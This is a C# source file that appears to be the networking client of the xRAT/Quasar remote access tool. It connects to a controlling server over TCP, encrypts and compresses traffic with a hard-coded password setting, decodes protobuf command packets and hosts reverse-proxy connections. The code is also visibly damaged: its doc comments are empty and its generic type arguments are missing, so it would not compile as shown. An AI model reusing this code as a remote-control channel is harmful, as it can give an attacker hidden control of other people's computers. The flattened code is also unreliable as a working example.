using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Net.Sockets; using System.Text; using System.Threading; using ProtoBuf; using ProtoBuf.Meta; using xClient.Config; using xClient.Core.Compression; using xClient.Core.Encryption; using xClient.Core.Extensions; using xClient.Core.Packets; using xClient.Core.ReverseProxy; using xClient.Core.ReverseProxy.Packets; namespace xClient.Core.Networking { public class Client { /// /// Occurs as a result of an unrecoverable issue with the client. /// public event ClientFailEventHandler ClientFail; /// /// Represents a method that will handle failure of the client. /// /// The client that has failed. /// The exception containing information about the cause of the client's failure. public delegate void ClientFailEventHandler(Client s, Exception ex); /// /// Fires an event that informs subscribers that the client has failed. /// /// The exception containing information about the cause of the client's failure. private void OnClientFail(Exception ex) { if (ClientFail != null) { ClientFail(this, ex); } } /// /// Occurs when the state of the client has changed. /// public event ClientStateEventHandler ClientState; /// /// Represents the method that will handle a change in the client's state /// /// The client which changed its state. /// The new connection state of the client. public delegate void ClientStateEventHandler(Client s, bool connected); /// /// Fires an event that informs subscribers that the state of the client has changed. /// /// The new connection state of the client. private void OnClientState(bool connected) { if (Connected == connected) return; Connected = connected; if (ClientState != null) { ClientState(this, connected); } } /// /// Occurs when a packet is received from the server. /// public event ClientReadEventHandler ClientRead; /// /// Represents a method that will handle a packet from the server. /// /// The client that has received the packet. /// The packet that has been received by the server. public delegate void ClientReadEventHandler(Client s, IPacket packet); /// /// Fires an event that informs subscribers that a packet has been received by the server. /// /// The packet that has been received by the server. private void OnClientRead(IPacket packet) { if (ClientRead != null) { ClientRead(this, packet); } } /// /// Occurs when a packet is sent by the client. /// public event ClientWriteEventHandler ClientWrite; /// /// Represents the method that will handle the sent packet. /// /// The client that has sent the packet. /// The packet that has been sent by the client. /// The length of the packet. /// The packet in raw bytes. public delegate void ClientWriteEventHandler(Client s, IPacket packet, long length, byte[] rawData); /// /// Fires an event that informs subscribers that the client has sent a packet. /// /// The packet that has been sent by the client. /// The length of the packet. /// The packet in raw bytes. private void OnClientWrite(IPacket packet, long length, byte[] rawData) { if (ClientWrite != null) { ClientWrite(this, packet, length, rawData); } } /// /// The type of the packet received. /// public enum ReceiveType { Header, Payload } /// /// The buffer size for receiving data in bytes. /// public int BUFFER_SIZE { get { return (1024 * 1024) * 1; } } // 1MB /// /// The keep-alive time in ms. /// public uint KEEP_ALIVE_TIME { get { return 25000; } } // 25s /// /// The keep-alive interval in ms. /// public uint KEEP_ALIVE_INTERVAL { get { return 25000; } } // 25s /// /// The header size in bytes. /// public int HEADER_SIZE { get { return 3; } } // 3B /// /// Returns an array containing all of the proxy clients of this client. /// public ReverseProxyClient[] ProxyClients { get { lock (_proxyClientsLock) { return _proxyClients.ToArray(); } } } /// /// Handle of the Client Socket. /// private Socket _handle; /// /// A list of all the connected proxy clients that this client holds. /// private List _proxyClients; /// /// Lock object for the list of proxy clients. /// private readonly object _proxyClientsLock = new object(); /// /// The internal index of the packet type. /// private int _typeIndex; /// /// The buffer for incoming packets. /// private byte[] _readBuffer; /// /// The buffer for the client's incoming payload. /// private byte[] _payloadBuffer; /// /// The Queue which holds buffers to send. /// private readonly Queue _sendBuffers = new Queue(); /// /// Determines if the client is currently sending packets. /// private bool _sendingPackets; /// /// Lock object for the sending packets boolean. /// private readonly object _sendingPacketsLock = new object(); /// /// The Queue which holds buffers to read. /// private readonly Queue _readBuffers = new Queue(); /// /// Determines if the client is currently reading packets. /// private bool _readingPackets; /// /// Lock object for the reading packets boolean. /// private readonly object _readingPacketsLock = new object(); /// /// The temporary header to store parts of the header. /// /// /// This temporary header is used when we have i.e. /// only 2 bytes left to read from the buffer but need more /// which can only be read in the next Receive callback /// private byte[] _tempHeader; /// /// Decides if we need to append bytes to the header. /// private bool _appendHeader; // Receive info private int _readOffset; private int _writeOffset; private int _tempHeaderOffset; private int _readableDataLen; private int _payloadLen; private ReceiveType _receiveState = ReceiveType.Header; /// /// Gets if the client is currently connected to a server. /// public bool Connected { get; private set; } private const bool encryptionEnabled = true; private const bool compressionEnabled = true; public Client() { } /// /// Attempts to connect to the specified host on the specified port. /// /// The host (or server) to connect to. /// The port of the host. public void Connect(string host, ushort port) { try { Disconnect(); Initialize(); _handle = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); _handle.SetKeepAliveEx(KEEP_ALIVE_INTERVAL, KEEP_ALIVE_TIME); _handle.NoDelay = true; _readBuffer = new byte[BUFFER_SIZE]; _tempHeader = new byte[HEADER_SIZE]; _handle.Connect(host, port); if (_handle.Connected) { _handle.BeginReceive(_readBuffer, 0, _readBuffer.Length, SocketFlags.None, AsyncReceive, null); OnClientState(true); } } catch (Exception ex) { OnClientFail(ex); } } private void Initialize() { AddTypeToSerializer(typeof (IPacket), typeof (UnknownPacket)); lock (_proxyClientsLock) { _proxyClients = new List(); } } private void AsyncReceive(IAsyncResult result) { try { int bytesTransferred; try { bytesTransferred = _handle.EndReceive(result); if (bytesTransferred <= 0) { OnClientState(false); return; } } catch (Exception) { OnClientState(false); return; } byte[] received = new byte[bytesTransferred]; Array.Copy(_readBuffer, received, received.Length); lock (_readBuffers) { _readBuffers.Enqueue(received); } lock (_readingPacketsLock) { if (!_readingPackets) { _readingPackets = true; ThreadPool.QueueUserWorkItem(AsyncReceive); } } } catch { } try { _handle.BeginReceive(_readBuffer, 0, _readBuffer.Length, SocketFlags.None, AsyncReceive, null); } catch (ObjectDisposedException) { } catch (Exception ex) { OnClientFail(ex); } } private void AsyncReceive(object state) { while (true) { byte[] readBuffer; lock (_readBuffers) { if (_readBuffers.Count == 0) { lock (_readingPacketsLock) { _readingPackets = false; } return; } readBuffer = _readBuffers.Dequeue(); } _readableDataLen += readBuffer.Length; bool process = true; while (process) { switch (_receiveState) { case ReceiveType.Header: { if (_readableDataLen >= HEADER_SIZE) { // we can read the header int size = (_appendHeader) ? HEADER_SIZE - _tempHeaderOffset : HEADER_SIZE; try { if (_appendHeader) { Array.Copy(readBuffer, _readOffset, _tempHeader, _tempHeaderOffset, size); _payloadLen = (int)_tempHeader[0] | _tempHeader[1] << 8 | _tempHeader[2] << 16; _tempHeaderOffset = 0; _appendHeader = false; } else { _payloadLen = (int)readBuffer[_readOffset] | readBuffer[_readOffset + 1] << 8 | readBuffer[_readOffset + 2] << 16; } if (_payloadLen <= 0) throw new Exception("invalid header"); } catch (Exception) { process = false; break; } _readableDataLen -= size; _readOffset += size; _receiveState = ReceiveType.Payload; } else // _parentServer.HEADER_SIZE < _readableDataLen { _appendHeader = true; Array.Copy(readBuffer, _readOffset, _tempHeader, _tempHeaderOffset, _readableDataLen); _tempHeaderOffset += _readableDataLen; process = false; } break; } case ReceiveType.Payload: { if (_payloadBuffer == null || _payloadBuffer.Length != _payloadLen) _payloadBuffer = new byte[_payloadLen]; int length = _readableDataLen; if (_writeOffset + _readableDataLen >= _payloadLen) { length = _payloadLen - _writeOffset; } try { Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, length); } catch { Disconnect(); } _writeOffset += length; _readOffset += length; _readableDataLen -= length; if (_writeOffset == _payloadLen) { if (encryptionEnabled) _payloadBuffer = AES.Decrypt(_payloadBuffer, Encoding.UTF8.GetBytes(Settings.PASSWORD)); if (_payloadBuffer.Length > 0) { if (compressionEnabled) _payloadBuffer = new SafeQuickLZ().Decompress(_payloadBuffer, 0, _payloadBuffer.Length); using (MemoryStream deserialized = new MemoryStream(_payloadBuffer)) { IPacket packet = Serializer.DeserializeWithLengthPrefix(deserialized, PrefixStyle.Fixed32); OnClientRead(packet); } } else // payload decryption failed process = false; _receiveState = ReceiveType.Header; _payloadBuffer = null; _payloadLen = 0; _writeOffset = 0; } if (_readableDataLen == 0) process = false; break; } } } if (_receiveState == ReceiveType.Header) { _writeOffset = 0; // prepare for next packet } _readOffset = 0; _readableDataLen = 0; } } /// /// Sends a packet to the connected server. /// /// The type of the packet. /// The packet to be send. public void Send(T packet) where T : IPacket { if (!Connected) return; lock (_sendBuffers) { try { using (MemoryStream ms = new MemoryStream()) { Serializer.SerializeWithLengthPrefix(ms, packet, PrefixStyle.Fixed32); byte[] payload = ms.ToArray(); _sendBuffers.Enqueue(payload); OnClientWrite(packet, payload.LongLength, payload); lock (_sendingPacketsLock) { if (_sendingPackets) return; _sendingPackets = true; } ThreadPool.QueueUserWorkItem(Send); } } catch { } } } /// /// Sends a packet to the connected server. /// Blocks the thread until all packets have been sent. /// /// The type of the packet. /// The packet to be send. public void SendBlocking(T packet) where T : IPacket { Send(packet); while (_sendingPackets) { Thread.Sleep(10); } } private void Send(object state) { while (true) { if (!Connected) { SendCleanup(true); return; } byte[] payload; lock (_sendBuffers) { if (_sendBuffers.Count == 0) { SendCleanup(); return; } payload = _sendBuffers.Dequeue(); } if (compressionEnabled) payload = new SafeQuickLZ().Compress(payload, 0, payload.Length, 3); if (encryptionEnabled) payload = AES.Encrypt(payload, Encoding.UTF8.GetBytes(Settings.PASSWORD)); byte[] header = new byte[] { (byte)payload.Length, (byte)(payload.Length >> 8), (byte)(payload.Length >> 16) }; byte[] data = new byte[payload.Length + HEADER_SIZE]; Array.Copy(header, data, header.Length); Array.Copy(payload, 0, data, HEADER_SIZE, payload.Length); try { _handle.Send(data); } catch (Exception ex) { OnClientFail(ex); SendCleanup(true); return; } } } private void SendCleanup(bool clear = false) { lock (_sendingPacketsLock) { _sendingPackets = false; } if (!clear) return; lock (_sendBuffers) { _sendBuffers.Clear(); } } /// /// Disconnect the client from the server, disconnect all proxies that /// are held by this client, and dispose of other resources associated /// with this client. /// public void Disconnect() { OnClientState(false); if (_handle != null) { _handle.Close(); _readOffset = 0; _writeOffset = 0; _readableDataLen = 0; _payloadLen = 0; _payloadBuffer = null; if (_proxyClients != null) { lock (_proxyClientsLock) { foreach (ReverseProxyClient proxy in _proxyClients) proxy.Disconnect(); } } Commands.CommandHandler.StreamCodec = null; } } /// /// Adds a Type to the serializer so a message can be properly serialized. /// /// The parent type. /// Type to be added. public void AddTypeToSerializer(Type parent, Type type) { if (type == null || parent == null) throw new ArgumentNullException(); bool isAlreadyAdded = RuntimeTypeModel.Default[parent].GetSubtypes().Any(subType => subType.DerivedType.Type == type); if (!isAlreadyAdded) RuntimeTypeModel.Default[parent].AddSubType(_typeIndex += 1, type); } /// /// Adds Types to the serializer. /// /// The parent type, i.e.: IPacket /// Types to add. public void AddTypesToSerializer(Type parent, params Type[] types) { foreach (Type type in types) AddTypeToSerializer(parent, type); } public void ConnectReverseProxy(ReverseProxyConnect command) { lock (_proxyClientsLock) { _proxyClients.Add(new ReverseProxyClient(command, this)); } } public ReverseProxyClient GetReverseProxyByConnectionId(int connectionId) { lock (_proxyClientsLock) { return _proxyClients.FirstOrDefault(t => t.ConnectionId == connectionId); } } public void RemoveProxyClient(int connectionId) { try { lock (_proxyClientsLock) { for (int i = 0; i < _proxyClients.Count; i++) { if (_proxyClients[i].ConnectionId == connectionId) { _proxyClients.RemoveAt(i); break; } } } } catch { } } } }